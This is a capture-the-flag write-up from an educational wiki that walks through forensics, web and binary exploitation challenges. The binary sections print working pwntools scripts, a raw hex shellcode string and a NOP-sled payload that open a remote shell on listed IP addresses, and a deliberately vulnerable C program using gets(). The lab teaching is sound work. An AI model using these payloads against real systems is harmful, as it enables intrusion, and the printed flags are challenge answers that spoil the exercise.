W4503 Capture the Flag III

From Coder Merlin
Revision as of 08:28, 20 January 2021 by MagicPizzaBox (talk | contribs) (added writup intro)
Within these castle walls be forged Mavens of Computer Science ...
— Merlin, The Coder
ComingSoonIcon.png
Coming Soon
This page will serve as the writeup for the CTF III competition problems that were released on January 12, 2021

This page will serve as a writeup for the CTF III competition problems.

Forensics[edit]

Prime Multiplication[edit]

[50 Points] There are 2 prime numbers associated with this image, multiply them together to get the flag.
Hint: flag format is ahsCTF{12345678}

The challenge also provides the file prime_multiplication.jpg.

We can examine the details of this image by using exiftool. Begin by downloading the image into the shell server using wget or SFTP. Then we can use exiftool to examine the metadata:

john-williams@codermerlin:~$ exiftool prime_multiplication.jpg

We get this output:

ExifTool Version Number         : 11.88
File Name                       : prime_multiplicaton.jpg
Directory                       : .
File Size                       : 936 kB
File Modification Date/Time     : 2021:01:19 08:01:27-06:00
File Access Date/Time           : 2021:01:19 08:01:26-06:00
File Inode Change Date/Time     : 2021:01:19 08:01:27-06:00
File Permissions                : rw-r--r--
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : inches
X Resolution                    : 300
Y Resolution                    : 300
Exif Byte Order                 : Big-endian (Motorola, MM)
Orientation                     : Horizontal (normal)
Image Width                     : 2741
Image Height                    : 1901
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 2741x1901
Megapixels                      : 5.2

Notice that the image size is 2741x1901. These are both prime numbers, so let's multiply them as the challenge instructs us. 2741 times 1901 is 5,210,641. When we format this in flag format, we get ahsCTF{5210641}.

No Signal[edit]

[75 Points]

The challenge also provides the files static1.png and static2.png.

static1.png
static2.png

When we view the 2 provided image files, they seem to look like TV static. There are black and white pixels that seem to be randomly placed. However, there seems to be some text down the center, but it is difficult to decipher. Since we have two images, we can assume that we will have to use them together to reveal the message. In this case, we will have to XOR the corresponding pixels of each image. That means if we lay each image on top of each other, in each coordinate that there is one black and one white pixel the output will be a black pixel, and each coordinate where there is the same color pixel on the top and bottom will result in a white pixel (assuming white=0 and black=1). We can make a script to XOR each pixel, or we can simply use an image manipulation program to accomplish a similar idea, in this case, we used paint.net. We can put each image on a layer and then delete all white pixels on the top layer to emulate an XOR. We get this result:

staticAnswer.jpg

Therefore, the flag is ahsCTF{br0_!t$_st@tiC}.

Web Exploitation[edit]

Frogger[edit]

[50 Points] 161.35.136.199:5001

When we navigate to this website by typing the address into a web browser, the web page asks us to inspect the code. We can use our browser's source code editor to view to source code. We find a comment in the HTML that gives us the first part of the flag (ahsCTF{h!pp!ty_h0) and tells us to navigate to secondstep.html. The secondstep.html page contains some obfuscated javascript code in a comment:

var _0x3b57=['94410uSWsbT','2400988NliCUK','850873UgSJxm','1guROCP','1AaMQHj','5935AYgrLQ','102511fGEwCy','log','279612BxzgaD','85iDAtox','5WazGkY','1doHyAU','Here\x20is\x20the\x20first\x20part\x20of\x20the\x20flag:\x20ppiTy_96024}','176899wcniBd','1DUaXpR'];var _0x2edc=function(_0x566089,_0x49d449){_0x566089=_0x566089-0x168;var _0x3b57f3=_0x3b57[_0x566089];return _0x3b57f3;};(function(_0x59d6d4,_0xd2ad0a){var _0x216a51=_0x2edc;while(!![]){try{var _0xf2f4cb=parseInt(_0x216a51(0x16a))*-parseInt(_0x216a51(0x175))+parseInt(_0x216a51(0x168))*-parseInt(_0x216a51(0x169))+parseInt(_0x216a51(0x16e))*parseInt(_0x216a51(0x171))+-parseInt(_0x216a51(0x173))*parseInt(_0x216a51(0x170))+-parseInt(_0x216a51(0x16f))*parseInt(_0x216a51(0x16b))+parseInt(_0x216a51(0x16c))+parseInt(_0x216a51(0x176))*parseInt(_0x216a51(0x174));if(_0xf2f4cb===_0xd2ad0a)break;else _0x59d6d4['push'](_0x59d6d4['shift']());}catch(_0xb6ba47){_0x59d6d4['push'](_0x59d6d4['shift']());}}}(_0x3b57,0x6d95a));function hi(){var _0x4c0c1e=_0x2edc;console[_0x4c0c1e(0x16d)](_0x4c0c1e(0x172));}hi();

We can use an online deobfuscator to view the source code easier. Here is the javascript code the deobfuscator returned:

var _0x3b57 = ['94410uSWsbT', '2400988NliCUK', '850873UgSJxm', '1guROCP', '1AaMQHj', '5935AYgrLQ', '102511fGEwCy', 'log', '279612BxzgaD', '85iDAtox', '5WazGkY', '1doHyAU', 'Here is the second part of the flag: ppiTy_96024}', '176899wcniBd', '1DUaXpR'];
var _0x2edc = function (_0x566089, _0x49d449) {
    _0x566089 = _0x566089 - 0x168;
    var _0x3b57f3 = _0x3b57[_0x566089];
    return _0x3b57f3;
};
(function (_0x59d6d4, _0xd2ad0a) {
    var _0x216a51 = _0x2edc;
    while (!![]) {
        try {
            var _0xf2f4cb = parseInt(_0x216a51(0x16a)) * -parseInt(_0x216a51(0x175)) + parseInt(_0x216a51(0x168)) * -parseInt(_0x216a51(0x169)) + parseInt(_0x216a51(0x16e)) * parseInt(_0x216a51(0x171)) + -parseInt(_0x216a51(0x173)) * parseInt(_0x216a51(0x170)) + -parseInt(_0x216a51(0x16f)) * parseInt(_0x216a51(0x16b)) + parseInt(_0x216a51(0x16c)) + parseInt(_0x216a51(0x176)) * parseInt(_0x216a51(0x174));
            if (_0xf2f4cb === _0xd2ad0a) break;
            else _0x59d6d4['push'](_0x59d6d4['shift']());
        } catch (_0xb6ba47) {
            _0x59d6d4['push'](_0x59d6d4['shift']());
        }
    }
}(_0x3b57, 0x6d95a));

function hi() {
    var _0x4c0c1e = _0x2edc;
    console[_0x4c0c1e(0x16d)](_0x4c0c1e(0x172));
}
hi();

Now it's easy to see that one of the elements in the array contains the second part of the flag (ppiTy_96024}). When we combine both parts of the flag, we get that the flag is ahsCTF{h!pp!ty_h0ppiTy_96024}.

Binary Exploitation[edit]

Enter Shellcode:[edit]

[75 Points] Welcome to the gauntlet! Start your binary exploitation journey by running this command: nc 138.197.96.104 50002.

When we run the given command, we get this output:

You just used Netcat to run this program!
Now I'm going to give you a file.
We'll use wget to download it into the shell:

wget [url]
You can find the url you'll need by right clicking the download link in the challenge and copying the address.

That file will have the key to part 2, submit it below.
Input:

Now let's get the password to submit to the program:

john-williams@codermerlin:~$  wget [URL of link address]

Now we can view key.txt to get this key: S3cretP@$$. When we type that into the program we're running via Netcat we get this output:

Correct!
Now it's time to exploit the program!
The program is located at 138.197.96.112:50001

This program will run any machine code that we give it.
...If you want to get technical, it treats whatever we input like it's a function. It does this by creating a function pointer where the input is stored.
The malicious machine code we will input is called shellcode.
We can use the pwntools, a Python library for exploiting programs, to generate some shellcode to run the "sh" command.
The "sh" command can generate a shell. You can try running it on your shell.

Run "pwn shellcraft -l" to see a list of all the shellcodes we can use.

Now, input the shellcode that we will use for this program (running on amd64 architecture).
Hint: it should be a string of hexadecimal values.

Input: 0x

This prompt gives us the address of the vulnerable program as well as a method to exploit it. Let's generate some shellcode and input it as the prompt suggests.

john-williams@codermerlin:~$  pwn shellcraft amd64.linux.sh

We get this shellcode:

6a6848b82f62696e2f2f2f73504889e768726901018134240101010131f6566a085e4801e6564889e631d26a3b580f05

Let's submit that shellcode to the prompt program as it expects. We get this output:

Correct!
Awesome! Now we just need to input that shellcode into the vulnerable program.
However, we must input raw hex values rather than a hexadecimal string. We also must ensure that we make the program interactive.

The pwntools library allows us to create Python scripts to generate shellcode and interact with programs.
You can download and modify the script at: https://raw.githubusercontent.com/reese-hoffart/tempCTFDownload/main/sampleExploit.py
Remember, wget can be used to download files into the shell.

Note that "flag.txt" is stored remotely with the program at the address given above.

This was the last prompt. This prompt gives us a sample script to exploit the vulnerable program that we were given in the previous prompt. Let's download that sample script using wget:

The sample script looks like this:

# This line imports the pwntools library.
from pwn import *

# This line sets the architecture and OS of the remote machine so that this exploit generates the correct shellcode.
# The program is running on a Linux machine. You already know the architecture from the prompt.
context.update(arch='', os='')

# This line creates the "vuln" object we will use to interact with the remote process.
# You should input the IP and port of the remote process.
vuln = remote('IP', port)

# This line creates the variable that holds the shellcode. Notice we use asm() to assemble it into raw instructions the computer can execute.
# Hmmm, we want to run "sh", not "cat". You should fix that.
shellcode = asm(shellcraft.cat())

# This line will wait to send input until the remote program prints out a newline.
vuln.recvuntil('\n')
# This line sends the shellcode as input.
vuln.sendline(shellcode)

# It's important we make the remote program connection interactive so we can interact with the shell we spawned.
vuln.interactive()

We can follow the comments in this file to finish the exploit. Notably, we must input the system architecture and operating system, input the remote vulnerable program's IP and port, and fix the shellcode that we are injecting. Here is the finished script:

# This line imports the pwntools library.
from pwn import *

# This line sets the architecture and OS of the remote machine so that this exploit generates the correct shellcode.
# The program is running on a Linux machine. You already know the architecture from the prompt.
context.update(arch='amd64', os='linux')

# This line creates the "vuln" object we will use to interact with the remote process.
# You should input the IP and port of the remote process.
vuln = remote('138.197.96.112', 50001)

# This line creates the variable that holds the shellcode. Notice we use asm() to assemble it into raw instructions the computer can execute.
# Hmmm, we want to run "sh", not "cat". You should fix that.
shellcode = asm(shellcraft.sh())

# This line will wait to send input until the remote program prints out a newline.
vuln.recvuntil('\n')
# This line sends the shellcode as input.
vuln.sendline(shellcode)

# It's important we make the remote program connection interactive so we can interact with the shell we spawned.
vuln.interactive()

Alright! Let's run this script:

john-williams@codermerlin:~$  python3 sampleExploit.py

When we run the script, we get an interactive shell. This shell is running on the remote server that the vulnerable program is on. We can run the "ls" command to see all the files, and then run "cat flag.txt" to view the flag. The flag is ahsCTF{sh3LLc0deR_MeRl!n}.

Turtle[edit]

[125 Points] The flag is stored somewhere on the server at 161.35.128.85 with port 50003. Try to spawn a shell and find the flag.
Hint: This is similar to “Enter shellcode:”, but the function pointer changes locations.
Hint: Have you met nop? He’s 0x90 I think.

The challenge also provides the files turtle and turtle.c.

turtle.c contains this code:

#include <stdio.h>
#include <stdlib.h>

int main() {
    setvbuf(stdout, NULL, _IONBF, 0);
    setvbuf(stdin, NULL, _IONBF, 0);

    char shellcode[512];

    printf("Enter your shellcode:\n");
    gets(shellcode);

    // This will create a function pointer at the shellcode array and then execute the "function"
    printf("Executing...\n");
    int offset = (rand() % 128) + 1;
    ((void(*) ())(shellcode + offset)) ();

    return 0;
}

We can examine the code to discover that the function pointer will point to the array of shellcode we input, plus a random offset between 1 and 128 bytes. Because of this, we can't simply input shellcode like the Enter Shellcode challenge because it will not be executed from the beginning. To bypass this, we can begin our shellcode with NOP instructions. NOP, or no operation, is a machine code instruction that does nothing. If we begin the injected shellcode with 128 NOP instructions, we can guarantee that the function pointer will point before the shellcode. We can modify the Enter Shellcode python exploit we made to accomplish this.

Notice that we add 128 NOP instructions and then append the shellcode to the end:

from pwn import *

context.update(arch='amd64', os='linux')

vuln = remote('161.35.128.85', 50003)

shellcode = asm(shellcraft.nop()) * 128
shellcode += asm(shellcraft.sh())

vuln.recvuntil('\n')
vuln.sendline(shellcode)

vuln.interactive()

Let's run this exploit script:

john-williams@codermerlin:~$  python3 sampleExploit.py

Now we have spawned a shell on the remote server! We can run the "ls" and "cat flag.txt" commands to get the flag off of the remote server. The flag is ahsCTF{Y0u_h@v3_sh3LL_L!k3_tUrtl3}.